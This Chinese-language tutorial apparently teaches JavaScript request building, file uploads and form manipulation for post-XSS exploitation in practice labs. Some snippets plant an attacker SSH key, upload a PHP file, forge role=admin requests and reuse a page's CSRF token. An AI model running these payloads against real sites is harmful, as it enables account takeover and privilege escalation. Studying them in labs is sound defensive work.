HTTP请求

JavaScript可以直接在浏览器上发起HTTP请求

POST/GET请求

一个 HTTP 请求通常由三部分组成:

1
2
3
请求行
请求头
请求体

例如:

1
2
3
4
5
6
POST /admin/enable_ssh HTTP/1.1
Host: admin.example.local
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=xxxx

Submit=Enable+SSH

可以拆成:

1
2
3
4
5
6
POST                         请求方法
/admin/enable_ssh 请求路径
Host 目标主机
Content-Type 请求体格式
Cookie 当前用户的登录凭据
Submit=Enable+SSH 请求体内容

JavaScript 写法:

1
2
3
4
fetch('/admin',{
method: 'POST',
body: fd
});

文件上传操作

在 XSS 后利用中,JavaScript 可以模拟浏览器文件上传请求。

常见用途:

1
2
3
4
5
1. 上传 SSH 公钥
2. 上传配置文件
3. 上传头像文件
4. 上传普通文本文件
5. 复现后台文件上传表单请求

核心对象:

1
2
3
4
FormData:模拟表单数据
Blob:把字符串内容构造成“文件内容”
File:更像真实文件对象
fetch / XMLHttpRequest:发送 HTTP 请求

文件上传的 HTTP 本质

普通文件上传表单一般长这样:

1
2
3
4
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="Submit" value="Submit">
</form>

提交后,本质是发送:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----xxx

------xxx
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

hello world
------xxx
Content-Disposition: form-data; name="Submit"

Submit
------xxx--

所以 JavaScript 要做的事情就是:

1
2
3
4
1. 创建表单数据 FormData
2. 构造文件内容 Blob / File
3. 把文件加入 FormData
4. 发送 POST 请求

使用 Blob 构造文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let content = 'hello world';

let fileBlob = new Blob([content], {
type: 'text/plain'
});

let fd = new FormData();
fd.append('file', fileBlob, 'test.txt');
fd.append('Submit', 'Submit');

fetch('/upload', {
method: 'POST',
body: fd
});

解释:

1
2
3
4
5
6
content                 文件内容
Blob 把字符串包装成文件数据
type 文件 MIME 类型
FormData 模拟 multipart/form-data 表单
fd.append('file', ...) file 是上传字段名
test.txt 上传时显示的文件名

重点是这一句:

1
fd.append('file', fileBlob, 'test.txt');

它等价于表单里的:

1
<input type="file" name="file">

其中:

1
2
3
file       参数名
fileBlob 文件内容
test.txt 文件名

上传 SSH 公钥示例

例如后台有一个上传 SSH 公钥的接口:

1
2
3
4
POST /key
字段名:file
文件名:id_rsa.pub
额外字段:Submit=Submit

可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxxxx attacker';

let fileBlob = new Blob([sshKeyContent], {
type: 'application/octet-stream'
});

let fd = new FormData();
fd.append('file', fileBlob, 'id_rsa.pub');
fd.append('Submit', 'Submit');

fetch('/key', {
method: 'POST',
body: fd
});

如果用 XMLHttpRequest 写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var xhr = new XMLHttpRequest();
var fd = new FormData();

var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxxxx attacker';

var fileBlob = new Blob([sshKeyContent], {
type: 'application/octet-stream'
});

fd.append('file', fileBlob, 'id_rsa.pub');
fd.append('Submit', 'Submit');

xhr.open('POST', '/key', true);
xhr.send(fd);

注意:为什么不用手动设置 Content-Type

文件上传时不要这样写:

1
2
3
4
5
6
7
fetch('/upload', {
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data'
},
body: fd
});

原因是 multipart/form-data 需要 boundary,例如:

1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx

这个 boundary 由浏览器自动生成。

所以正确写法是:

1
2
3
4
fetch('/upload', {
method: 'POST',
body: fd
});

浏览器会自动设置:

1
Content-Type: multipart/form-data; boundary=...

Blob 和 File 的区别

Blob

Blob 只表示一段文件内容。

1
2
3
let blob = new Blob(['hello'], {
type: 'text/plain'
});

上传时需要在 append() 里指定文件名:

1
fd.append('file', blob, 'test.txt');

File

File 更像真实文件,包含文件名。

1
2
3
4
5
6
let file = new File(['hello'], 'test.txt', {
type: 'text/plain'
});

let fd = new FormData();
fd.append('file', file);

这两种都可以用于文件上传。

XSS 打靶里更常见的是 Blob,因为写法简单。


从现有文件 input 上传

如果页面本身有文件上传框:

1
<input type="file" id="avatar" name="avatar">

JavaScript 可以读取用户已经选择的文件:

1
2
3
4
5
6
7
8
9
10
let input = document.querySelector('#avatar');
let file = input.files[0];

let fd = new FormData();
fd.append('avatar', file);

fetch('/upload', {
method: 'POST',
body: fd
});

但是浏览器安全机制不允许 JavaScript 随便读取本地文件路径。

也就是说,不能这样:

1
fd.append('file', '/home/user/.ssh/id_rsa');

浏览器不会允许 JS 直接读取任意本地文件。

在 XSS 利用中,如果要上传文件,一般是:

1
攻击者自己构造文件内容 → Blob → FormData → 上传

而不是读取受害者本地磁盘文件。


带普通字段的文件上传

很多上传接口除了文件,还需要其他字段。

例如:

1
2
3
4
file=文件
title=test
type=public
Submit=Upload

JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let content = 'hello world';
let blob = new Blob([content], {
type: 'text/plain'
});

let fd = new FormData();
fd.append('file', blob, 'test.txt');
fd.append('title', 'test');
fd.append('type', 'public');
fd.append('Submit', 'Upload');

fetch('/upload', {
method: 'POST',
body: fd
});

带 CSRF Token 的文件上传

如果上传表单里有 CSRF Token:

1
<input type="hidden" name="csrf" value="abc123">

请求中也必须带上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let token = document.querySelector('input[name="csrf"]').value;

let blob = new Blob(['hello world'], {
type: 'text/plain'
});

let fd = new FormData();
fd.append('csrf', token);
fd.append('file', blob, 'test.txt');
fd.append('Submit', 'Upload');

fetch('/upload', {
method: 'POST',
body: fd
});

如果 XSS 代码和目标页面同源,通常可以直接读取页面里的 CSRF Token。

所以:

1
2
CSRF Token 可以防 CSRF
但不一定能防 XSS

上传 JSON 伪装文件

如果目标接口要求上传 .json 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let jsonContent = JSON.stringify({
username: 'test',
role: 'admin'
});

let blob = new Blob([jsonContent], {
type: 'application/json'
});

let fd = new FormData();
fd.append('file', blob, 'config.json');

fetch('/upload', {
method: 'POST',
body: fd
});

上传 PHP 文件示例

靶场中有时会测试文件上传漏洞,例如上传 .php 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let phpContent = '<?php echo "test"; ?>';

let blob = new Blob([phpContent], {
type: 'application/x-php'
});

let fd = new FormData();
fd.append('file', blob, 'test.php');
fd.append('Submit', 'Upload');

fetch('/upload', {
method: 'POST',
body: fd
});

是否能成功执行,取决于服务端:

1
2
3
4
5
1. 是否允许上传 PHP 后缀
2. 是否检查 MIME 类型
3. 是否重命名文件
4. 上传目录是否可执行
5. Web 服务是否解析该目录下的 PHP

JavaScript 只负责上传,真正是否能利用取决于后端配置。


使用 XMLHttpRequest 上传并监听结果

如果想知道上传是否成功,可以监听返回状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let blob = new Blob(['hello world'], {
type: 'text/plain'
});

let fd = new FormData();
fd.append('file', blob, 'test.txt');

let xhr = new XMLHttpRequest();

xhr.onload = function () {
console.log('status:', xhr.status);
console.log('response:', xhr.responseText);
};

xhr.open('POST', '/upload', true);
xhr.send(fd);

常见状态码:

1
2
3
4
5
6
200    成功
302 跳转
400 参数错误
403 权限不足 / CSRF 校验失败
404 路径错误
500 服务端错误

表单

一个普通表单可能长这样:

1
2
3
4
5
<form action="/admin/update" method="POST">
<input type="text" name="username">
<input type="hidden" name="csrf" value="abc123">
<input type="submit" name="Submit" value="Update">
</form>

重点看这几个属性:

1
2
3
4
5
action     表单提交地址
method 提交方法,GET / POST
name 参数名
value 参数值
type 输入类型

这个表单提交后,本质上会产生请求:

1
2
3
4
POST /admin/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=xxx&csrf=abc123&Submit=Update

所以表单的核心是:

1
2
3
4
input 的 name 变成参数名
input 的 value 变成参数值
form 的 action 变成请求路径
form 的 method 变成请求方法

获取表单元素

常用方法:

1
2
3
4
document.querySelector('form')
document.querySelector('#login')
document.querySelector('input[name="username"]')
document.querySelector('button[type="submit"]')

例如:

1
2
3
4
5
<form id="login">
<input name="username">
<input name="password">
<button type="submit">Login</button>
</form>

JavaScript 获取:

1
2
3
4
let form = document.querySelector('#login');
let user = document.querySelector('input[name="username"]');
let pass = document.querySelector('input[name="password"]');
let btn = document.querySelector('button[type="submit"]');

修改 input 的值

文本框:

1
document.querySelector('input[name="username"]').value = 'admin';

密码框:

1
document.querySelector('input[name="password"]').value = '123456';

隐藏字段:

1
document.querySelector('input[name="csrf"]').value;

textarea:

1
document.querySelector('textarea[name="content"]').value = 'hello';

select:

1
document.querySelector('select[name="role"]').value = 'admin';

checkbox:

1
document.querySelector('input[name="agree"]').checked = true;

radio:

1
document.querySelector('input[value="admin"]').checked = true;

触发 input / change 事件

有些页面不是只看 .value,而是监听输入事件。

例如页面可能有:

1
2
3
input.addEventListener('input', function () {
console.log('内容变化');
});

这时只写:

1
input.value = 'test';

可能不够,因为事件没有触发。

需要手动触发:

1
2
3
4
5
6
7
8
9
10
11
let input = document.querySelector('input[name="username"]');

input.value = 'admin';

input.dispatchEvent(new Event('input', {
bubbles: true
}));

input.dispatchEvent(new Event('change', {
bubbles: true
}));

常见需要触发的事件:

1
2
3
4
5
6
input      输入内容变化
change 表单值变化
click 点击按钮
submit 提交表单
focus 获得焦点
blur 失去焦点

在普通 HTML 页面中,.value 后直接提交通常就行。

在 React / Vue / Angular 页面中,很多时候需要触发 inputchange 事件。


点击按钮提交

最常见写法:

1
document.querySelector('button[type="submit"]').click();

按 id 点击:

1
document.querySelector('#submit').click();

按按钮文字查找:

1
2
3
[...document.querySelectorAll('button')]
.find(btn => btn.innerText.includes('Submit'))
.click();

也可以找 input submit:

1
document.querySelector('input[type="submit"]').click();

例如:

1
2
3
document.querySelector('input[name="username"]').value = 'admin';
document.querySelector('input[name="password"]').value = '123456';
document.querySelector('button[type="submit"]').click();

form.submit() 和 button.click() 的区别

直接提交表单:

1
document.querySelector('form').submit();

点击提交按钮:

1
document.querySelector('button[type="submit"]').click();

区别:

1
2
3
4
5
6
7
8
9
button.click()
更像真实用户点击按钮
会触发 click 事件
通常也会触发表单 submit 事件

form.submit()
直接提交表单
不一定触发 submit 事件
可能绕过前端 submit 监听逻辑

所以打靶时优先尝试:

1
document.querySelector('button[type="submit"]').click();

如果只是想强制提交,可以用:

1
document.querySelector('form').submit();

现代浏览器还可以用:

1
document.querySelector('form').requestSubmit();

requestSubmit()submit() 更接近正常表单提交,会触发表单校验和 submit 事件。


触发 submit 事件

如果页面 JS 监听了 submit:

1
2
3
form.addEventListener('submit', function (e) {
console.log('提交表单');
});

可以手动触发:

1
2
3
4
5
6
let form = document.querySelector('form');

form.dispatchEvent(new Event('submit', {
bubbles: true,
cancelable: true
}));

但是要注意:

1
2
dispatchEvent(new Event('submit')) 只是触发事件
不一定真的发送 HTTP 请求

真正提交一般还是用:

1
form.submit();

或者:

1
form.requestSubmit();

或者:

1
button.click();

等待表单加载完成

有些代码执行得太早,表单还没有加载出来。

可以延迟执行:

1
2
3
setTimeout(() => {
document.querySelector('button[type="submit"]').click();
}, 1000);

也可以等 DOM 加载完成:

1
2
3
document.addEventListener('DOMContentLoaded', () => {
document.querySelector('button[type="submit"]').click();
});

如果页面是异步加载,可以轮询等待:

1
2
3
4
5
6
7
8
9
let timer = setInterval(() => {
let form = document.querySelector('form');
let btn = document.querySelector('button[type="submit"]');

if (form && btn) {
clearInterval(timer);
btn.click();
}
}, 500);

这类写法在打靶里很常见。


自动填表并点击提交

假设页面表单如下:

1
2
3
4
5
<form action="/profile" method="POST">
<input name="email">
<textarea name="bio"></textarea>
<button type="submit">Save</button>
</form>

自动填表:

1
2
3
4
5
6
7
8
9
10
11
let email = document.querySelector('input[name="email"]');
let bio = document.querySelector('textarea[name="bio"]');
let btn = document.querySelector('button[type="submit"]');

email.value = 'test@example.com';
bio.value = 'hello';

email.dispatchEvent(new Event('input', { bubbles: true }));
bio.dispatchEvent(new Event('input', { bubbles: true }));

btn.click();

如果按钮晚点出现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let timer = setInterval(() => {
let email = document.querySelector('input[name="email"]');
let bio = document.querySelector('textarea[name="bio"]');
let btn = document.querySelector('button[type="submit"]');

if (email && bio && btn) {
clearInterval(timer);

email.value = 'test@example.com';
bio.value = 'hello';

email.dispatchEvent(new Event('input', { bubbles: true }));
bio.dispatchEvent(new Event('input', { bubbles: true }));

btn.click();
}
}, 500);

直接构造一个隐藏表单提交

有时候页面没有现成表单,也可以用 JavaScript 创建表单。

1
2
3
4
5
6
7
8
9
10
11
12
let form = document.createElement('form');
form.method = 'POST';
form.action = '/admin/update';

let input = document.createElement('input');
input.name = 'role';
input.value = 'admin';

form.appendChild(input);
document.body.appendChild(form);

form.submit();

多个参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let form = document.createElement('form');
form.method = 'POST';
form.action = '/admin/update';

let params = {
username: 'test',
role: 'admin',
Submit: 'Update'
};

for (let key in params) {
let input = document.createElement('input');
input.name = key;
input.value = params[key];
form.appendChild(input);
}

document.body.appendChild(form);
form.submit();

这种方式本质上是模拟普通 HTML 表单提交。


表单转 FormData

如果页面已经有一个表单,可以直接用 FormData 读取它:

1
2
3
4
5
6
7
let form = document.querySelector('form');
let fd = new FormData(form);

fetch(form.action, {
method: form.method,
body: fd
});

也可以在原表单基础上修改字段:

1
2
3
4
5
6
7
8
9
10
let form = document.querySelector('form');
let fd = new FormData(form);

fd.set('username', 'admin');
fd.set('role', 'admin');

fetch(form.action, {
method: form.method,
body: fd
});

常用方法:

1
2
3
4
fd.append(name, value)   添加字段
fd.set(name, value) 设置字段
fd.get(name) 获取字段
fd.delete(name) 删除字段

FormData 转普通 POST 请求

如果目标接口使用:

1
Content-Type: application/x-www-form-urlencoded

可以这样构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
let data = new URLSearchParams();

data.append('username', 'admin');
data.append('role', 'admin');
data.append('Submit', 'Update');

fetch('/admin/update', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString()
});

结果类似:

1
username=admin&role=admin&Submit=Update

也可以从表单直接转换:

1
2
3
4
5
6
7
8
9
10
let form = document.querySelector('form');
let data = new URLSearchParams(new FormData(form));

fetch(form.action, {
method: form.method,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString()
});

读取 CSRF Token

很多表单里有隐藏 token:

1
<input type="hidden" name="csrf" value="abc123">

读取方式:

1
let token = document.querySelector('input[name="csrf"]').value;

然后放入请求:

1
2
3
4
5
6
7
8
9
10
11
12
let data = new URLSearchParams();

data.append('csrf', token);
data.append('Submit', 'Update');

fetch('/admin/update', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString()
});

如果使用 FormData:

1
2
3
4
5
6
7
8
let fd = new FormData();
fd.append('csrf', token);
fd.append('Submit', 'Update');

fetch('/admin/update', {
method: 'POST',
body: fd
});

获取表单 action 和 method

可以自动读取表单的提交地址和方法:

1
2
3
4
let form = document.querySelector('form');

console.log(form.action);
console.log(form.method);

示例:

1
2
3
4
5
6
7
let form = document.querySelector('form');
let fd = new FormData(form);

fetch(form.action, {
method: form.method || 'POST',
body: fd
});

注意:

1
2
form.action 通常会变成完整 URL
form.method 通常是 get 或 post

如果 method 为空,HTML 表单默认是 GET。